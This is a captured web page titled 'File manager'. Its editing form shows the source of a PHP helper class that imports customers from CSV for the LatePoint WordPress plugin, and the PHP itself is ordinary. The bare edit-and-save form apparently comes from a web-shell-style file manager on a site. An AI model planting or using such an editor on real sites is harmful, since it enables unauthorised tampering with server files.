File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsCustomerImportHelper {

	/**
	 * Get an array of fields for mapping during customer import.
	 * @return array
	 */
	public static function get_import_fields(): array {
		$import_fields = [
			&#039;&#039;            =&gt; &#039;Do not import&#039;,
			&#039;first_name&#039;  =&gt; __( &#039;First Name&#039;, &#039;latepoint&#039; ),
			&#039;last_name&#039;   =&gt; __( &#039;Last Name&#039;, &#039;latepoint&#039; ),
			&#039;email&#039;       =&gt; __( &#039;Email&#039;, &#039;latepoint&#039; ),
			&#039;phone&#039;       =&gt; __( &#039;Phone Number&#039;, &#039;latepoint&#039; ),
			&#039;notes&#039;       =&gt; __( &#039;Notes&#039;, &#039;latepoint&#039; ),
			&#039;admin_notes&#039; =&gt; __( &#039;Admin Notes&#039;, &#039;latepoint&#039; ),
		];

		/**
		 * Returns an array of fields for mapping during customer import.
		 *
		 * @since 5.2.0
		 * @hook latepoint_customer_import_fields
		 *
		 * @param {array} $import_fields Array of fields for mapping during customer import
		 *
		 * @returns {array} array of fields for mapping during customer import
		 */
		return apply_filters(&#039;latepoint_customer_import_fields&#039;, $import_fields);
	}


	/**
	 * Check if a customer can be imported by email.
	 * @param $email
	 * @return array|true[]
	 */
	public static function check_import_client_by_email( $email = &#039;&#039; ):array {
		if ( empty( $email ) || ! OsUtilHelper::is_valid_email( $email ) ) {
			return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; esc_html__(&#039;Invalid email address: &#039; . $email, &#039;latepoint&#039;)];
		}
		$customer = new OsCustomerModel();
		$customer = $customer-&gt;where( [ &#039;email&#039; =&gt; $email ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
		if ($customer) {
			return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; esc_html__(&#039;Customer with email already exists: &#039; . $email, &#039;latepoint&#039;)];
		}
		return [&#039;status&#039; =&gt; true];
	}


	/**
	 * Validate mapping between csv and fields from db
	 * @param array $column_mapping
	 * @return bool
	 */
	public static function validate_import_mapping(array $column_mapping): bool {
		if (empty($column_mapping)) {
			return false;
		}

		$email_field_index = array_search(&#039;email&#039;, $column_mapping);
		return $email_field_index !== false;
	}


	/**
	 * Get the temporary file path for the uploaded CSV file.
	 * @return string
	 * @throws Exception
	 */
	public static function get_import_tmp_filepath(  ): string {
		$file_path = get_transient(&#039;csv_import_file_&#039; . OsWpUserHelper::get_current_user_id());

		if (empty($file_path) || !file_exists($file_path)) {
			throw new Exception(&#039;Import file not found or expired. Please upload the file again.&#039;);
		}

		return $file_path;
	}


	/**
	 * Check CSV to find number of existing customers
	 * @param array $csv_data
	 * @param array $column_mapping
	 *
	 * @return array
	 */
	public static function validate_csv_data(array $csv_data, array $column_mapping): array {
		$email_field_index = array_search(&#039;email&#039;, $column_mapping);
		$conflicts = [];
		$importableCount = 0;

		foreach ($csv_data as $row_index =&gt; $row_data) {
			// Skip header row
			if ($row_index === 0) {
				continue;
			}

			$email = $row_data[$email_field_index] ?? &#039;&#039;;
			$validation_result = OsCustomerImportHelper::validate_customer_email($email);

			if (!$validation_result[&#039;status&#039;]) {
				$conflicts[$validation_result[&#039;type&#039;]][] = $validation_result[&#039;data&#039;];
			} else {
				$importableCount++;
			}
		}

		return [
			&#039;conflicts&#039; =&gt; $conflicts,
			&#039;importable_count&#039; =&gt; $importableCount
		];
	}


	/**
	 * Validate customer email
	 * @param string $email
	 * @return array
	 */
	public static function validate_customer_email(string $email): array {
		if (empty($email) || !OsUtilHelper::is_valid_email($email)) {
			return [ &#039;status&#039; =&gt; false, &#039;type&#039; =&gt; &#039;invalid&#039;, &#039;data&#039; =&gt; $email ];
		}

		$existingCustomer = new OsCustomerModel();
		$existingCustomer = $existingCustomer-&gt;where( [ &#039;email&#039; =&gt; $email ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
		if ($existingCustomer) {
			return [ &#039;status&#039; =&gt; false, &#039;type&#039; =&gt; &#039;duplicate&#039;, &#039;data&#039; =&gt; $email];
		}

		return [&#039;status&#039; =&gt; true];
	}

	/**
	 * Import customers from CSV
	 * @param array $csv_data
	 * @param array $column_mapping
	 * @param bool $update_existing
	 *
	 * @return array
	 */
	public static function import_customers(array $csv_data, array $column_mapping, bool $update_existing = false): array {
		$emailFieldIndex = array_search(&#039;email&#039;, $column_mapping);
		$skippedCount = 0;
		$updatedCount = 0;

		foreach ($csv_data as $rowIndex =&gt; $rowData) {
			// Skip header row
			if ($rowIndex === 0) {
				continue;
			}

			$email = $rowData[$emailFieldIndex] ?? &#039;&#039;;

			if (empty($email) || !OsUtilHelper::is_valid_email($email)) {
				$skippedCount++;
				continue;
			}

			$customer = new OsCustomerModel();
			$customer = $customer-&gt;where( [ &#039;email&#039; =&gt; $email ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();

			// Skip if customer exists and update is not allowed
			if ($customer &amp;&amp; !$update_existing) {
				$skippedCount++;
				continue;
			}

			// Create new customer if not found
			if (!$customer) {
				$customer = new OsCustomerModel();
			}

			// Prepare save data
			$save_data = [];
			foreach ($rowData as $column_index =&gt; $field_value) {
				if (!empty($column_mapping[$column_index])) {
					$save_data[$column_mapping[$column_index]] = $field_value;
				}
			}
			$customer-&gt;set_data($save_data);

			if ($customer-&gt;save()) {
				$updatedCount++;
				do_action(&#039;latepoint_customer_imported&#039;, $customer, $rowData, $column_mapping);
			} else {
				$skippedCount++;
			}
		}

		return [
			&#039;skipped_count&#039; =&gt; $skippedCount,
			&#039;updated_count&#039; =&gt; $updatedCount
		];
	}

	/**
	 * Delete temp file
	 * @return void
	 */
	public static function cleanup_stored_file(): void {
		$file_name = &#039;csv_import_file_&#039; . OsWpUserHelper::get_current_user_id();
		$file_path = get_transient($file_name);

		if ($file_path &amp;&amp; file_exists($file_path)) {
			unlink($file_path);
			delete_transient($file_name);
		}
	}

}</textarea><input type='submit' name='save' value='Save' style=''/></form>